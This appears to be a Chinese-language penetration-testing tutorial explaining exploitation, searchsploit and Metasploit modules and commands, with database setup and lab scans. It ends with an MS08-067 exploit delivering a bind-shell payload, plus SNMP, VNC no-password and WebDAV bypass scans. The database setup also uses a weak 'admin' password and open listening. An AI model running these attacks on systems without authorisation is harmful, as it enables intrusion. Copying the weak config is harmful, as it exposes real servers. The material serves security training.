漏洞利用是渗透测试的一个环节。脆弱性评估不涉及漏洞利用的有关测试。在摸索出目标的漏洞之后,测试人员会验证并真刀真枪地利用目标系统的安全漏洞,以进一步了解目标网络和运营系统,获取更多信息,升值掌握完全控制权
- **编程技能:**这是称职的守法黑客必须具备的基础素质。掌握多种编程语言的基本原理和编程原理,是安全测试人员检测程序漏洞的必备技能。除此之外,还应当深入了解处理器、系统内存、缓冲区、指针、数据类型、寄存器和缓存等基础知识。无论是C/C++、Python还是汇编语言,几乎所有编程语言的实现方式都与上述概念有关
- **逆向工程:**漏洞挖掘工作同样依赖测试人员的逆向工程技能。这种技术分析程序的具体函数、数据结构和算法,可检测出电子设备、软件以及系统中潜藏的漏洞。逆向工程的反编译技术,可在实现不知道内部结构情况下逆向解析出程序的源代码,从而测试程序的错误条件、不完善的函数以及存在缺陷的协议,并能够测试程序的边界条件。专业的安全研究员都具备很高的逆向工程实战能力。逆向工程可以用于去除软件的版权保护、安全审计、分析技术竞争情报、侵权鉴定、研究软件的交互性、掌握程序的工作机制,甚至破获敏感数据。逆向工程为应用安全的概念增加了两个抽象层:源码级审计(source code auditing)和二进制(可执行程序)审计(binary auditing)。如果可以获取程序的源代码,审计人员可采用自动或手动的方式分析源程序的安全问题,进而解析出可能触发漏洞的边界条件。另一方面,虽然测试人员可以在没有源码的情况下进行二进制审计,不过这种审计的效果不如源代码审计理想。二进制审计通常都会用到两种通用类型的辅助工具,即反汇编程序(disassemblers)和反编译程序(decompilers)。反汇编程序可把编译后的二进制程序反汇编成汇编指令,而反编译器则把编译后的二进制程序反编译成高级程序语言的程序源代码。然而,无论选用反汇编程序还是反编译程序,成功的逆向安全工作都离不开审计人员扎实的技术实力和小心谨慎的评估态度。
- **熟悉检测工具:**检测漏洞的工作依赖各种调试器、数据挖掘器、模糊测试数据生成器、事件检测器、代码覆盖分析器、流量分析器和内存监视器。对于检验漏洞的工作来说,漏洞检测工具十分重要。它们同时还是测试项目的集成测试平台。
- **构建 exploit 和 payload 的技术实力:**利用漏洞的最后一步工序就是缩写漏洞的Poc(Proof of Concept,概念验证)程序,即shellcode。这种程序旨在使渗透测试人员在远程目标主机上执行自定义的指令。根据逆向工程阶段掌握的应用程序的具体缺陷,测试人员要编写验证漏洞的点睛之笔——shellcode程序。通知书,它们还要防止shellcode存在缺陷,尽其所能地避免exploit(漏洞利用程序)出现奔溃问题。
近些年来,公共领域持续报道了大量的程序漏洞。其中一些漏洞存在PoC。PoC从一个侧面验证了exploit(利用应用程序漏洞)的可能性。并且,并不是每个被发现的漏洞都会被立即修补。在当今这个时代里,人们争先恐后地获取exploit信息和漏洞信息,如果具备了一定的编程技巧并掌握理解操作系统的具体架构,您还可以将一种类型的exploit转换为另一种exploit(例如,将Win32框架的exploit转换为Linux架构的exploit程序)。
cd /usr/share/exploitdb
vim files.csv
searchsploit --help
Metasploit框架是有Ruby程序语言编写的模块化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。
- **exploit(漏洞利用程序模块):**包括各种PoC验证程序,用于验证利用特定漏洞(exploit)的可行性。
- **payload(有效载荷模板):**包含各种恶意程序,用于在目标系统上运行任意指令。它可能是exploit的一部分,也可能是独立编译的应用程序。
- **Auxiliaries(复制工具模板):**包含一系列扫描、嗅探、拨号测试、指纹识别和其他类型的安全评估程序。
- **Encoders(编码程序模板):**在渗透测试中,这个模板用来加密有效载荷,以避免被杀毒软件、防火墙、IDS/IPS以其他类似的反恶意软件检测出来。
- **NOP(空操作模板):**这个模板用于在shellcode中插入NOP(汇编指令)。虽然NOP不会进行实际的操作,但是构造shellcode时可以用来暂时替代payload,形成完整的shellcode程序。
常用指令
- show auxiliary:列出全部的辅助工具
- show exploits:列出框架下所有的漏洞利用程序
- show payloads:列出所有平台下的有效载荷,若已选定了一个漏洞利用程序,则显示相关的载荷
- show encoders:显示可用的编码工具模板
- show nops:显示所有可用的NOP生成程序
- show options:显示指定模板的全部设置和选项信息
- show targets:显示exploit支持的操作系统和类型
- show advanced:列出所有高级配置选项,以便进行微调
指令 | 描述 |
---|---|
check | 在不利用漏洞的前提下,检测目标主机是否存在特定漏洞。不过,多数exploit不支持该命令 |
connect ip port | Netcat和Telnet这类连接工具的指令 |
exploit | 执行用户指定的exploit |
run | 执行指定的auxiliary |
jobs | 列出当前运行的全部后台模板。用户可通过有关选项终止当前运行的目标 |
route add subnet netmask sessionid | 把某个(session id指定)会话连接到的主机当做跳板使用,让它转发本机的网络流量 |
info module | 显示指定模板(exploit、auxiliary等模板)的详细信息 |
set param value | 配置当前模板的参数 |
setg param value | 设置整个框架的全局参数,这个参数会对全部exploit和auxiliary模板通用 |
unset param | 是set命令的取消命令,如需清除所有变量,可使用unset all 指令 |
unsetg param | 用于取消一个或多个全局变量 |
sessions | 用于显示(-l 选项)、切换(-i ID选项)、终止回话(-k ID选项) |
search string | 通过模块名和描述来方便搜索 |
user module | 选择特定的渗透测试功能模板 |
MSFCLI和MSFConsole相似,它们不仅都采用了命令行界面,而且都可在所有的线程中操作绝大多数的模板。然而,MSFCI的自动化程度没有MSFConsole高。
msfcli -h
# 选定运行exploit模板的具体方法
msfcli windows/smb/msfxx O
# 通过RHOST指定目标主机的IP地址
msfcli windows/smb/msfxx RHOST=192.168.0.1
# 选定payload并设置好LHOST参数
msfcli windows/smb/msfxx RHOST=192.168.0.1 LHOST=192.168.0.2
Metasploit提供了
db_nmap
命令,它能够将Nmap扫描结果直接存入数据库中,此外还提供了db_import
命令,支持多达20中扫描器扫描结果的导入。Metasploit支持多种数据库,如:MySQL、SQLite3、PostgreSQL,其中PostgreSQL被作为默认数据库使用。
1.postgresql启动。
service postgresql start
2.进入postgresql配置
sudo -u postgres psql
-- 修改postgres默认密码
alter user postgres with password 'admin';
3.修改linux系统的postgres用户的密码(密码与数据库用户postgres的密码相同)
sudo passwd -d postgres
sudo -u postgres passwd
4.修改PostgresSQL数据库配置实现远程访问
# 修改postgresql配置文件
vi /etc/postgresql/9.4/main/postgresql.conf
# 更改`#listen_addresses = 'localhost'`为listen_addresses = '*'`
# 更改`#password_encryption = on`为`password_encryption = on`
# 修改postgresql配置文件
vi /etc/postgresql/9.6/main/pg_hba.conf
在文档末尾加上以下内容
# to allow your client visiting postgresql server
host all all 0.0.0.0/32 md512
# 重启postgresql数据库服务
service postgresql restart
5.管理PostgreSQL用户和数据库
psql -U postgres -h 127.0.0.1
# 输入 "help" 来获取帮助信息.
-- 创建msf用户,禁止该用户创建数据库的能力
create user msf with password 'admin' nocreatedb;
-- 创建msf数据库,所属msf
create database msf with owner=msf;
6.msf配置连接
# 手动连接数据库
db_connect msf:[email protected]/msf
# 查看数据库状态
db_status
# 使用配置文件连接数据库
db_connect -y /usr/share/metasploit-framework/config/database.yml
在msf启动后连接数据库就好。
7.配置自动连接
自动连接可以通过配置文件/usr/share/metasploit-framework/config/database.yml
完成,内容可以通过复制database.yml.example
并修改内容来完成设置。
主要改database、password、host这三个值
重新执行msfconsole即可直接链接数据库
- 使用Metasploit框架集成的NMap程序进行端口扫描、OS指纹识别、服务鉴定
load db_tracker
db_nmap -T Aggressive -sV -n -O -v 192.168.56.101
- 使用SNMP字符串扫描程序模板对指定网段进行SNMP扫描,并使用常见的团体字符对SNMP进行测试,显示识别出来的SNMP设备信息
seach snmap
use auxiliary/scanner/snmp/community
show options
set RHOSTS 10.2.131.0/24
set THREADS 3
set BATCHSIZE 10
run
- 使用VNC空密码扫描程序模板扫描指定的网段,以搜索可以使用空密码访问的虚拟网络计算机
use auxiliary/scanner/vnc/vnc_none_auth
set options
set RHOSTS 192.168.56.101/24
run
- 使用WebDav Unicode身份验证旁路漏洞模板扫描指定的网段,以搜索存在IIS6 WebDAV认证旁路漏洞的主机
use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
show options
set RHOSTS 192.168.56.101/24
set THREADS 10
run
- bind(绑定型)shell用于提供远程shell连接。在成功利用了目标主机上的安全漏洞,并且成功执行shellcode程序以后,渗透测试人员可在目标主机上的特定端口上运行bind shell,以让其他主机继续控制这台主机。攻击人员可以使用基于TCP连接的标准输入输出(stdin/stdout)隧道工具(例如Netcat)连接到被攻破的主机,通过bind shell继续实时控制。它的应用场合与Telnet服务器/客户端十分相似,主要适用于以NAT(Network Address Translation)方式连入网络的渗透人员、攻击人员的设备与目标主机之间有防火墙的情况,即适用于无法从被测主机直接连接到攻击人员主机IP的各种情况
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.56.101
set PAYLOAD windows/shell/bind_tcp
exploit